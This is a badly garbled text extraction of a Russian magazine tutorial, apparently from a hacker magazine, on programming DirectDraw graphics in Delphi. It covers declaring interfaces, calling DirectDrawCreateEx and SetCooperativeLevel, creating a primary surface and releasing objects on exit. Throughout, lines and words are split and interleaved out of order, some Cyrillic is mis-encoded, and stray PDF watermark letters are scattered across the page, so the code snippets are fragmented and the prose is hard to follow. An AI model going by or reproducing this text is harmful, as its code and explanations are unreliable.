нужен, если ты пи-

базы данных, но и на крутую

 

 

Èíåò è

øåøü

оконное

приложение. В

этом случае тебе

 

графику.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

понадобится обрезать все, что вы-

Немного истории

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ходит за пределы

îêíà.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Íà ýòîì

теорию надо

прекращать. Постепенно я

 

 

 

 

 

 

 

 

Ä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

буду тебя знакомить не только с

 

авным-давно маленькая и почти

 

 

 

 

 

 

 

 

 

 

 

 

 

 

практикой,

íî è ñ

теорией программирования

 

 

 

 

 

 

 

 

никому не известная компания Microsoft

 

 

 

графики, а

может быть, будет и от-

 

 

 

 

 

создала Windows. Все было

 

 

 

дельная статья.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

прекрасно, и в нем

вроде бы удобно было ра-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ботать. Но окна абсолютно не

были предназначены

для игр, а так хотелось

Пошкодим

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

получить в свои лапы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

деньги игрунов. Интерфейс Windows, построенный

íà GDI,

Å

сли ты не прочитал статью по Delphi в

 

 

 

 

 

 

 

 

 

 

 

был тормознутым, и ускорить

åãî

никак не удавалось.

 

 

 

 

 

 

 

 

этом номере, то сделай это сейчас.

È âîò ïðî

граммеры

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Там я описал

шаблон

 

 

 

 

 

 

 

 

 

 

 

 

маленькой компании решили, а почему бы не

создать такую

 

 

 

 

 

 

минимального приложения в Delphi, который мы будем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

библиотеку, которая могла бы давать

 

 

 

 

 

 

 

 

 

 

 

использовать во всех примерах при кодинге в DirectX.

 

 

 

 

определенным приложениям все ресурсы

 

Открой созданный там

компа и

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

проект, сейчас мы его

будем пополнять.

 

 

 

 

 

 

 

 

 

 

 

 

наивысшие привилегии? Сказано

- сделано, так и

появился DirectX.

Íî îí

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

появился не с

нуля, ведь программеры

 

 

 

 

 

 

 

Для начала в раздел var добавь

следующие переменные:

 

 

 

 

 

чтобы

 

 

 

 

 

 

маленькой компании

слишком

слабенькие,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

написать такое самостоятельно :). Зато

 

 

 

 

 

 

 

 

var

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

купил еще более маленькую компанию,

óæå

 

директор богатый :), который

просто

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

создавшую нечто подобное.

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Íî

библиотека все равно была слабой,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

потому что сам Windows очень сильно тор-

...

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

мознутый. Но слава Гейтсу, что появились

 

графические ускорители и библиотека

FDirectDraw :

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пошла в

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

IDirectDraw7;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

рост, потому что смогла оперативно

всосать в себя все

необходимое для

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

поддержки таких карт. А самое

главное, что DirectX дает

 

 

 

 

FPrimarySurface : IDirectDrawSurface7;

 

 

 

 

 

 

 

 

 

 

 

 

обходимый

 

 

 

 

 

 

 

 

 

программеру

базовый и не-

SurfaceDesc :

TDDSurfaceDesc2;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

набор возможностей вне зависимости от того,

поддерживает видеокар-

hRet :

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

та ускорение или нет. Если какой-то

 

 

 

 

 

 

 

 

HRESULT;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

просто эмулирует ее программно,

 

возможности у ускорителя нет,

òî DirectX API

DC : HDC;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

заставляя

поднапрячься центральный проц.

 

bltfx : TDDBLTFX;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Снова в школу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Чуть позже ты узнаешь, зачем они

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DirectX - ýòî

графическая библиотека состоящая из нескольких DLL

файлов:

 

 

нужны. А сейчас пойди в раздел uses и добавь

 

 

 

 

 

 

 

 

 

недостающие модули:

 

 

 

 

 

 

Ddraw.dll - в этом файле находятся API

функции для работы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

æèìå.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с графикой в 2D ре-

uses windows, Graphics,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Dsound.dll - здесь

находятся API функции для

работы со звуком.

 

 

 

 

 

 

messages, sysutils, DirectDraw;

 

 

 

D3d8.dll

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

- это для работы с 3D

графикой.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

to

 

 

 

 

o

Кодинг

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

NOW!

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

o

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПРОГРАММИРОВАНИЕ ГРАФИКИ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Фленов Михаил (smirnandr@mail.ru)

 

 

 

 

 

 

 

 

 

 

 

 

www.cydsoft.com/vr-online

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.pas, в котором описаны все функции для

 

 

 

Здесь DirectDraw

- ýòî ôàéë DirectDraw

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Если у тебя нет этого файла, то ты сможешь

 

 

 

 

работы с графической

библиотекой

 

 

 

 

 

 

 

случае, пото-

 

 

 

 

его скачать с моего сайта. Я

даже тебе советую сделать это в любом

 

 

 

 

 

 

 

 

 

 

 

 

у, и могут возникнуть про-

 

 

 

 

ìó ÷òî

разные версии этого файла

работают по-разном

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

блемы с компиляцией

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зация

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èàëè

 

 

 

 

 

 

 

 

 

 

 

 

 

производить

 

 

 

 

 

Èíèö

 

 

 

 

 

 

 

 

 

комментарий “Здесь можно

 

 

 

 

 

 

 

 

 

еперь перейди туда, где написан

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Вот здесь мы нач-

 

 

 

 

 

 

 

 

 

инициализацию”,

это перед циклом обработки

сообщений

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Òíåì

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DX кодинг

 

 

 

 

 

 

ñàì DirectDraw:

 

 

 

 

 

 

 

 

Первое, что нужно сделать, - проинициализировать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

teEx (nil, FDirectDraw, IDirectDraw7,

nil);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hRet := DirectDrawCrea

t;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

if hRet <> DD_OK then Hal

 

 

 

 

 

 

 

. Åñëè îíî ðàâ-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

функции возвращают значение

òèïà HRESULT

 

 

 

 

 

 

 

 

Почти

âñå DirectDraw

 

то можно вылететь из про-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

, òî âñå

прошло ОК. Если результат другой,

 

 

 

 

 

åãî

 

 

 

 

 

 

íî

 

 

 

 

 

 

 

 

 

 

 

 

DirectX или система не может

 

 

 

 

 

 

DD_OK

 

 

может быть не установлен

 

 

 

 

 

 

 

граммы, потому что

 

 

 

 

 

 

этой строки ко-

 

 

 

 

 

 

 

 

 

 

у корректности только для

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Я сделаю проверк

 

 

 

 

 

ÿ

буду надеяться

 

 

 

 

 

 

проинициализировать

 

 

 

. В остальных случаях

 

 

 

 

 

 

 

 

 

 

 

 

у что здесь

это наиболее критично

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

да, потом

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на положительный

результат

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Óфункции DirectDrawCreateEx есть четыре параметра: DDCREATE_HARD-

1.Используемый для вывода драйвер. Возможные значения:DDCREATE_EMULAWAREONLY - использовать только аппаратные возможности; аппаратные воз- TIONONLY - только эмуляцию; nil - использоватьиспользовать

можности и эмуляцию

.

óþ

òèïà TDirectDraw,

которая

будет инициализирована.

 

2. Указатель на переменн

 

 

существует уже 8-я вер-

 

 

 

 

. Сейчас

3. Версия DirectDraw

, которую мы хотим получить

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

сия, но указывать

надо именно IDirectDraw7

 

должен быть nil.

Вообще-то, у

 

äî

лучших времен,

обязательно

4. Зарезервирован

 

зарезервирован, поэтому я

 

очень

часто последний параметр

функций DirectDraw

 

ïðî

последний параметр,

 

место. Если я

ничего не сказал

буду экономить на этом

 

 

ÿ.

 

 

 

 

и ставь то,

что указал в примере

 

 

 

значит, он зарезервирован,

 

 

 

 

 

 

 

 

 

 

 

 

ующим

шагом

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, DirectDraw проинициализировали,

можно пойти дальше. След

 

 

 

 

 

 

 

 

.

Для этого вызываем

надо установить уровень привилегий

нашего

приложения

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SetCooperativeLevel:

 

 

 

 

 

 

 

 

 

 

 

 

or

 

 

 

 

 

 

tiveLevel(Handle, DDSCL_FULLSCREEN

 

 

 

 

 

 

 

 

.SetCoopera

 

 

 

 

 

 

 

 

 

 

 

FDirectDraw

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

DDSCL_EXCLUSIVE);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

F

 

 

 

 

 

 

 

t

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

r

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

значение

ïî

 

 

 

 

 

 

 

 

 

 

порах, и

ставить надо 0, в этом случае будет

использоваться

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

áóäü

 

 

 

 

 

 

 

 

 

 

 

 

первых

 

 

 

экрана можно использовать

только

стандартные, так что

 

 

 

 

 

to

 

 

 

 

 

 

 

 

. Размеры

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

умолчанию

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ó.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

 

 

 

 

 

 

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

аккуратен,

чтобы

не повесить систем

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

.c

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

p

df

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

g

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

n

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Теперь мы должны

создать хотя бы одну по-

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Экран полностью готов к рисованию

 

 

 

 

 

 

 

 

 

 

 

 

 

. Можно создавать

 

 

 

 

 

 

 

 

 

 

 

 

 

верхность

(область

видеопамяти),

в которой мы сможем рисовать

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

но только одна из

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

них должна быть главная

 

 

 

 

 

 

 

 

 

 

 

 

 

любое

количество таких поверхностей,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Ýòî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на главной поверхности,

сразу

показывается

на экране

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

что отображено

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Âñå,

 

 

 

 

 

 

 

 

 

 

поверхности, мы как бы рисуем прямо

íà ìî

 

 

 

 

 

 

 

 

 

 

 

 

 

значит, что когда мы рисуем на этой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уточных областях памяти.

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

ниторе, а не

в промеж

 

 

 

 

 

 

 

 

 

 

 

 

. Но, прежде чем это делать,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

надо запол

 

 

 

 

 

 

 

 

 

 

 

 

 

Сегодня

я создам только одну поверхность

 

(äëÿ

 

этого

 

мы создали

 

 

 

 

 

 

óþ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

TDDSurfaceDesc2

 

 

 

переменн

 

 

 

 

 

 

 

 

 

 

 

 

 

нить структуру типа

 

 

 

 

ура должна содержать описание

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

). Эта структ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SurfaceDesc

òèïà TDDSurfaceDesc2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

создаваемой поверхности

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FillChar

(SurfaceDesc,

SizeOf(SurfaceDesc),

0);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.dwSize

:= SizeOf(SurfaceDesc);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SurfaceDesc

 

 

 

 

 

 

 

 

 

 

 

 

 

_CAPS;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.dwFlags := DDSD

 

 

 

 

 

 

 

 

_PRIMARYSURFACE;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SurfaceDesc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.dwCaps := DDSCAPS

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.ddsCaps

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

SurfaceDesc

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

уры. Вторая строка заполняет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Первой строкой я обнуляю содержимое

всей структ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свойства

dwSize, записывая

туда размер структуры.

 

В этих флагах указывается,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

флаги.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

я заполняю необходимые

 

 

 

 

 

 

 

 

 

 

 

Следующей строкой

 

. ß

 

 

 

 

 

 

 

, значит, я

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свойства

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

указал DDSD_CAPS

 

 

 

.

 

Â

 

 

 

 

 

 

 

 

 

 

 

какие еще

структуры будут заполнены

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

, ÷òî è

делаю в следующей строке

 

 

 

 

 

 

 

 

 

 

 

 

 

обязан заполнить еще и свойство dwCaps

 

 

 

 

 

 

, это указывает на

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

_PRIMARYSURFACE

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

свойство dwCaps ÿ

записываю

DDSCAPS

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

то, что создаваемая

поверхность

будет главной

 

 

 

 

 

 

teSurface:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

с помощью

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Теперь

можно и создать саму поверхность

вызова Crea

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nil);

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

teSurface(SurfaceDesc, FPrimarySurface,

 

 

 

 

 

 

 

òèïà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

tDraw.Crea

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

,

переменная

 

 

 

 

 

 

 

 

 

 

 

FDirec

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Тут всего три параметра: заполненная

структура SurfaceDesc

óþ

поверхность) и

 

 

 

 

 

 

 

 

 

 

 

IDirectDrawSurface7

(сюда будет записан указатель

на созданн

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

резерв.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Âûõî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íàñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

все созданные

объекты и поверхности

 

 

 

ýòî

 

 

 

 

 

 

 

 

 

 

 

Ï

ри выходе из программы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

tDraw)

 

 

 

 

 

 

 

 

 

. Уничтожать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

должны быть уничтожены

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FPrimarySurface

è FDirec

 

 

 

 

 

. В нашем случае я сначала созда-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èõ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

надо в обратном порядке

создания

Значит, сначала

уничтожается

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

,

à

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

потом FPrimarySurface

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âàë FDirectDraw

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Для уничтожения нужно просто присво-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

, а потом FDirectDraw

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

FPrimarySurface

 

 

значение nil.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ить этим указателям

 

 

процедура

выхода

из проги:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

теперь

òâîÿ

 

 

 

 

 

 

 

 

 

 

 

 

 
